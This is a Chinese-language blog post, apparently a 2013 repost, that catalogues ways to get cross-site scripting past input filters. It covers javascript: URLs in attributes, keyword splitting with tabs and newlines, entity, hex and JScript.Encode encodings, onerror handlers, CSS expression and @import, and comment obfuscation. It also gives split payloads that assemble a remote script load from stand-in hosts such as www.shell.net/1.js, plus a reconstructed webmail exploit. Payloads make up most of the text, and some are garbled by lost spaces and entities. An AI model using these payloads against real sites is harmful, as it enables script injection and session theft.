您的位置:首页 > Web前端

XSS绕过

2013-09-22 22:27 127 查看
绕过XSS-Filter
=======================利用<>标记注射Html/Javascript===========================
用户可以随心所欲地引入<>等标记,那么他就能操作一个HTML标签,然后通过<script>插入恶意脚本代码.
=========================利用HTML标签属性值执行XSS=========================
很多HTML标记中的属性都支持javascript:[code]伪协议的形式.

<table background="javascript:alert(/xss/)"></table>

<imgsrc="javascript:alert('xss');">

//并非所有浏览器都支持,支持的例IE6

可以使用以下属性来测试XSS:

href=

lowsrc=

bgsound=

background=

value=

action=

dynsrc=

并非所有嵌入到Web页面中的脚本都是JavaScript,还有其他允许值,例如Vbscript

=================================空格回车TAB===================================
如果XSS Filter仅仅把敏感的输入字符列入黑名单处理,用户可以利用空格、回车和Tab键绕过限制:

<img src="javas       cript:alert(/xss/)" width=100>

javas和cript之间的间隔是由【Tab】添加的并非空格

利用关键字拆分的技巧,就能突破过滤器的限制,不局限在Tab,回车空格之类均可.

JavaScript语句通常以分号结尾,如果JavaScript引擎确定一个语句是完整的,而这一行的结尾有换行符,那么就会省略封号:

var a= true

var b="this is also true"

如果同一行中有多个语句,那么每个语句就必须使用分号来结束:

var a= true; var b="this is alsotrue";

 

用户可以构造下面的代码形式绕过系统对JavaScript等关键字的过滤:

<img src="javas

cript:

alert(/xss/)" width=100>

=============================对标签属性值转码==================================
对于普通HTML标记的属性进行过滤的可以通过编码处理来绕过,因为HTML中属性值本身支持ASCII码形式.

<imgsrc="javascript:alert('xss');">

替换成

<imgsrc="javascript:alert(/xss/);">

t的ascii值为116,用t表示  而:则用:

一样的道理,下面的XSS转码同样生效:

<img src=javascript:a

lert('xss')>

<img src=javascr�

105pt:alert('xss')>

或者:

<img src=1onerror=vbs:msgbox+1>      //vbs:

<imgonload='vbs:execScript"alert(0)","javascript"'>      //十六进制:j

还可以把、等字符插入到JavaScript或Vbscript的头部,

另外,Tab符的ASCII码为 、换行符的 、回车符的 可以插入到代码中任何地方.

如:<img src="javascript:alert(/a/)">

所以最好也过滤&#\等字符

==============================产生自己的事件================================

假设用户不能依靠属性值进行跨站,可以通过事件来解决.

JavaScript与HTML之间的交互是通过事件来实现的.事件就是用户或浏览器自身执行的某种动作,比如click、mouseover、load等,而响应时间的函数就叫做事件处理函数(或事件侦听器)

<input type="button"value="click me" onclick="alert('click me')" />

单击click me的时候就会触发onclick事件执行JavaScript代码

事件能够说明用户何时做了某件事情或页面何时加载完毕,W3C将事件分为3个不同的类别:

用户接口(鼠标、键盘)  逻辑(处理的结果)  变化(对文档进行修改)

既然事件能让JavaScript代码运行,就意味着用户也能利用他执行跨站脚本,

如:<img src="#" onerror=alert(/xss/)>

onerror是IMG标记的一个事件,只要页面中发生错误,该事件立即被激活.

当浏览器解释IMG标志的时候,会加载src属性引用的图片地址,不存在就会触发onerror事件.

测试事件形的跨站脚本,还有大量的事件可以利用:

onResume

 

onlayoutcomplete

onReverse

onafterprint

onRowDelete

onbeforeprint

onRowInserted

ondataavailable

onSeek

ondatasetchanged

onSynchRestored

ondatasetcomplete

onTimeError

onerrorupdate

onTrackChange

onrowenter

onURLFlip

onrowexit

onRepeat

onrowsdelete

onMediaComplete

onrowsiinserted

onMediaError

onselectionchange

onPause

onbounce

onProgress

onfinish

onOutOfSync

onstop

oncontrolselect

onresizeend

 ==================================利用CSS跨站==============================
XSS本的另一个载体是CSS样式表,使用CSS样式表执行JavaScript具有隐蔽、灵活多变等特点,但是CSS样式有一个很大的缺点,各浏览器之间不能通用,甚至同一浏览器不同版本之间都不能通用.

使用CSS直接执行JavaScript代码的示例如下:

<divstyle="background-image:url(javascript:alert('XSS'))">

<style>

 body{background-image:url(javascript:alert('XSS')");}

</style>

IE5及其以后版本支持在CSS中使用expression,使用expression同样可以触发XSS漏洞.

<divstyle="width:expression(alert('XSS'));">

<img src="#"style="xss:expression(alert(/XSS/));">

<style>

 body{background-image:expression:alert("XSS"));}

</style>

expression用来把CSS属性和JavaScript表达式关联起来.CSS属性可以是元素固有的属性,也可以是自定义属性,如果CSS属性后面为一段JavaScript表达式,则其值等于JavaScript表达式计算的结果.

可以发现脚本代码通常是嵌入到style标签/属性中的.如果应用程序禁用了style标签,用户还可以利用不分HTML标签的style属性执行代码.而且,style属性可以和任意字符的标签结合,所以不只要过滤标签,还必须对style属性值进行过滤.

<divstyle="list-style-image:url(javascript:alert('XSS'))">

<imgstyle="background-image:url(javascript:alert('XSS'))">

这些示例中都用到样式表中的URL属性来执行XSS,实际上最后一条代码等同于:

<imgsrc="javascript:alert('XSS')">

此外,CSS样式表不需要嵌入到HTML代码中,它能从其他文件甚至是从不同的目标机器上进行引用,比如,用户可以使用<link>标签引用CSS:

假设样式表文件地址为:http://127.0.0.1/attack.css,attack.css为攻击者上传的CSS文件,内容为:

p       {

background-image:expression(alert("XSS"));

}

这时候,目标网站的XSS Exploit如下:

<link rel="stylesheet"href="http://127.0.0.1/attack.css">

使用这种方式执行跨站脚本很方便,而且不容易被察觉.

除了使用<link>标签外,在网页中引用外部CSS还可以利用@import将其导入,代码如下:

<style type='text/css'>@importurl(http://127.0.0.1/xss.css);</style>

其中,xss.css的内容是:

.showCSS{

event.expression(

onload=function()

{

alert('XSS');

}

)

由此可见,使用@import和link方式都可以轻松地导入外部含有XSS代码的样式表文件.

@import还有一个特点,就是能直接执行JavaScript代码:

<style>

         @import'javascript:alert("XSS")';

</style>

安全起见,包含expression、javascript、import等敏感字符的样式表也要进行过滤.

 

================================扰乱过滤规则==================================

利用前面所诉的各种技巧,包括HTML标签属性值、事件、CSS、编码技术等,用户能顺利绕过XSS Filter的重重过滤.

一个正常的XSS输入

<img src="javascript:alert(0);">

转换大小写后的XSS

<IMG SRC="javascript:alert(0);">

大小写混淆的XSS

<iMg sRc="jaVasCript:alert(0);">

不用双引号,而是使用单引号的XSS

<img src='javascript:alert(0);'>

不使用引号的XSS

<img src=javascript:alert(0);> 

抛开正常的XSS测试用例,运行以上的任何一种示例都有可能绕过XSS Filter.

<img/src="mars.png"alt="mars">

<img/src="javascript:alert('XSS');">           //IE6成功

 

当利用expression执行跨站代码时,可以构造不同的全角字符来扰乱过滤规则:

<XSS STYLE="xss:exprEssion(alert('XSS'))">

<div style="{ left:expression(alert('XSS' ) ) }">

 

样式表中的/**/会被浏览器忽略,因此可以利用/**/来注释字符,通过插入混淆字符绕过过滤

<XSSSTYLE="xss:expr/*XSS*/ession(alert('xss'))">

<divstyle="wid/***/th:expre/*XSS*/ssion(alert('XSS'));">

 

目前大多数过滤系统都采用黑名单式的过滤,可以结合使用注释字符干扰和欺骗过滤器,

测试用例如下:

<scriScriptpt>alert('XSS')</script>

<img src="java/*/*javascript*/script/*javascript*/*/script:alert();">

<imgsrc="java/*script:alert();"><imgsrc="javaa*/script:alert();">

<imgsrc="java/*exp/**/script:alert();*/ression(alert(1))">

<imgstyle="width:exp/*ression(alert());"src="java/*exp/**/script:alert();*/ression(alert(1))">

 

除了/**/外,样式标签中的\和结束符\0也是被浏览器忽略的

@\0im\port'\0ja\vasc\ript:alert("xss")';

@\i\0m\00p\000o\0000\00000r\000000t"url";

 

还可以将CSS中的关键字进行转码处理,如将e转换成\65,包括改变编码中0的数量

<pstyle="xss:\65xpression(alert(/XSS/))">

<pstyle="xss:\065xpression(alert(/XSS/))">

<p style="xss:\0065xpression(alert(/XSS/))">

 

各种Web浏览器存在差异,差异主要体现在对HTML的渲染,对JavaScript的解释以及对CSS的支持上,这些差异和细节都可能引起各种不同的XSS

<!--<img src="--><imgsrc=x onerror=alert(1)//">

这个示例利用了浏览器解析HTML注释存在的问题来执行JavaScript

<comment><!--<imgsrc=</comment><img src=x onerror=alert(1)//">

这个示例同样利用了浏览器解析HTML注释存在的问题来执行JavaScript,与前一个例子不同的是,该示例只支持IE系列的浏览器.

<style><imgsrc="</style><img src=x onerror=alert(1)//">

这个示例利用了纯文本标签造成的标记混乱来躲避过滤器

由于Web浏览器种类、版本的不同,各自的HTML、CSS、JavaScript等引擎也存在着各式各样的差异,在加上各个站点采用了不同的XSS检测和防御策略,XSS构造技术可谓五花八门、包罗万象.

 

利用字符编码
<imgsrc="javascript:alert('XSS');">
属性值为javascript:alert('XSS');
十进制转码(&#)得到:
javascript:alert('XSS');
完整XSS Exploit为:
<imgsrc="javascript:alert('XSS');">
还可以在每个十进制字符后加上;,或者采用�、�、�、�、�、�、�、�等形式
<imgsrc="javascript:alert('XSS');">
<imgsrc="javascript:alert('XSS');">
<imgsrc="javascript:alert('XSS');">
类似地,也能采用十六进制编码形式:
<imgsrc="javascript:alert('XSS');">
<imgsrc=" javascript:alert('XSS');">
<imgsrc="javascript:alert('XSS');">
 
另外,在Javascript中有一个eval()函数,该函数可计算字符串,并执行其中的JavaScript代码
<script>
eval("alert('xss')");
</script>
我们可以使用\连接十六进制字串符,然后使用eval()函数执行十六进制字符串形式的脚本,
如对alert('xss')进行十六进制转码后得到:
\61\6C\65\72\74\28\27\78\73\73\27\29
完整的XSS代码为:
<script>
eval("\x61\x6C\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29");
</script>
 
eval()也可以执行10进制形式的脚本,但需要配合String.fromCharCode()函数使用.
string.fromcharcode()用于将字符转为ASCII值,例如一个正常形式的XSS示例为:
<imgsrc="javascript:eval(alert('xss'))">
结合使用eval()和String.fromCharCode()函数后变成:
<imgsrc="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))">
 
此外,样式表也支持分析和解释\连接的十六进制字符串形式,浏览器能正常解释:
<style>
BODY {backgroup:url(http://127.0.0.1/xss.gif) }
</style>
可以对background的属性值进行十六进制字符串形式转换:
<style>
BODY {backgroup:\75\72\6C\28\68\74\74\70\3A\2F\2F\31\32\37\2E\30\2E\30\2E\31\2F\78\73\73\2E\67\69\66\29}
</style>
 
style属性中的javascript、expression等字符一般都会被程序过滤,但进过十六进制编码后则可以逃避过滤.
下面是其他利用字符编码绕过过滤规则的示例:
<div  style="xss: expression(alert(1));"></div>
<imgSTYLE="background-image: \75\72\6C\28\6A\61\76\61\73\63\72\69\70\74\3A\61\6C\65\72\74\28\27\58\53\53\27\29\29">
<DIVSTYLE="background-image:\0075\0072\006C\0028\006A\0061\0076\0061\0073\0063\0072\0069\0070\0074\003A\0061\006C\0065\0072\0074\0028\0027\0058\0053\0053\0027\0029\0029">
 
JavaScript支持unicode、escapes、十六进制、八进制等编码形式,这种编码技术如果运用到跨站攻击,无疑能大大加强XSS的威力
其他编码/加密技术:JScriptEncode和VBScript Encode.
Microsoft提供了脚本加密(ScriptEncoder)机制,可以对脚本进行加密,包括JScript和VBScript,
经过加密的脚本,能在IE下正常运行,在其他浏览器下则不识别.
如alert(1)使用JScriptEncode加密的结果为:
#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
经XSS Exploit后变成:
<scriptlanguage="JScript.Encode">
#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
</script>
 
同样,可以使用VBScript.Encode来执行类似任务:
<ahref=# language="JScript.Encode" onclick="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">test</a>
<iframeonload=JScript.Encode:#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@>
<iframeonload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>  //MsgBox 1
<iframeonload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
 
更为复杂的XSS转码如下:
<divstyle="\000000000000000000000078\000000000000000000000073s:e\xp/*jnv*/\0072\0065ssion(window.x?0:(alert(/xss/),window.x=1));"></div>
解密后为:<divstyle="xss:e\xp/*jnv*/ression(window.x?0:(alert(/xss/),window.x=1));"></div>
 
 
拆分跨站法
典型例子:剑心的《疯狂的跨站之行》
当应用程序没有过滤XSS关键字符(如<、>)却对输入字符长度有限制的情况下,使用"拆分法"执行跨站脚本代码.漏洞出现在评论的联系方式处,但是这处只能写入30个字符长度,必须的<script></script>就占用了17个字符,剩下的只有13个字符可以支配,如此一来只能弹框.
幸运的是,网站评论处可以重复留言,也就是说可以提交多个脚本标记,
于是构造出以下Exploit:
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+'src=ht'</script>
<script>z=z+'tp://ww'</script>
<script>z=z+'w.shell'</script>
<script>z=z+'.net/1.'</script>
<script>z=z+'js></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>
上诉代码作用是引入一个字符串变量z,并且将以下代码拆分开来:
document.write('<scriptsrc=//www.shell.net/1.js> </script>')
分多次将其嵌入到变量z中,最后通过eval(z)巧妙地执行代码
由此可见,拆分法跨站的核心是:把跨站代码拆分成几个片段,然后再使用某种方式将其拼凑在一起执行,这和缓冲区溢出的shellcode的利用方式有异曲同工之妙.
 
假设有个博客存在XSS漏洞,该XSS出现在标题处,并且对输入字符的长度有限制,此时可以使用拆分法连续发表4篇文章,分别如下所示:
标题一:<script>z='<scriptsrc=';\*
标题二:*/z+='http://www.test.c';/*
标题三:*/z+='n/1.js><\/script>';/*
标题四:*/document.write(z)</script>
 
程序经过处理后,最终页面返回结果如下:
<ahref="show.asp?id=6"><script>z='<scriptsrc=';\*</a>
         ......
<ahref="show.asp?id=5">*/z+='http://www.test.c';/* </a>
         ......
<ahref="show.asp?id=4">*/z+='n/1.js><\/script>';/* </a>
         ......
<ahref="show.asp?id=3">*/document.write(z)</script></a>
         ......
 
/**/在脚本标签中是注释的意思,所以/*和*/之内的字符会自动被忽略,以上代码最终转变成:
<script>z='<scriptsrc=';
z+='http://www.test.c';
z+='n/1.js><\/script>';
document.write(z)</script>
 
然后,依次赋值给z变量,得到:
<script>
z='<scriptsrc=http://www.test.cn/1.js><\/script>';
document.write(z)
</script>
于是<script></script>内的脚本代码得以顺利执行
 
 
 
某个著名邮箱系统曾经出现过一个XSS漏洞,但是,该系统过滤了许多触发XSS的敏感字符,包括CSS样式表中的内容,但是,由于它允许使用样式表的:
div{background-image:expression()
执行表达式,最终导致产生一个XSS漏洞
其XSS Exploit如下:
 
<fontcolor="ffffff">
<divid="jmp" style="display:none">nop</div>
 <div id="ly"style="display:none">     //分段存储exp内容
   function ok(){return true};
   window.onerror=ok
 </div>
<divid="tip" title="<astyle="display:none">"style="display:none"></div>
<divid="tap" title="<"style="display:none"></div>
<divid="tep" title=">"style="display:none"></div> //以上div都是用来分段存储Exploit的内容
    <style>                  //用div的title属性和innerHTML组成最终的Shellcode
     div{background-image:expression(
         javascript:1?document.write(
               EC_tip.title+';top:'+EC_tap.title+'/a'+
               EC_tep.title+EC_tap.title+'scriptid=nop'+
               EC_tep.title+EC_ly.innerHTML+EC_tap.title+'/script'+
               EC_tep.title+EC_tap.title+
               'script src=http://localhost/1.js'+
               EC_tep.title+EC_tap.title+'/script'+
               EC_tep.title)
               :1=1);
           }
      </style>
</font>
 
该系统允许定义DIV标签中的ID和TITLE的值,于是可以采用拆分XSS Shellcode的方法,
把跨站用到的关键字,例如<、>等写到DIV标签中,然后再把DIV中存储的内容取出并组合到一起.新城最终的Shellcode(注意:DIV的ID会从原来的test变成了ES_test)
在浏览器中查看邮件页面中的HTML代码,会看到最终成型后的Shellcode:
<astyle="display:none">top:</a>
<scriptid=nop>functionok(){return true};window.onerror=ok</script>
<scriptsrc=http://localhost/1.js></script>
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  XSS Web前端 加密技术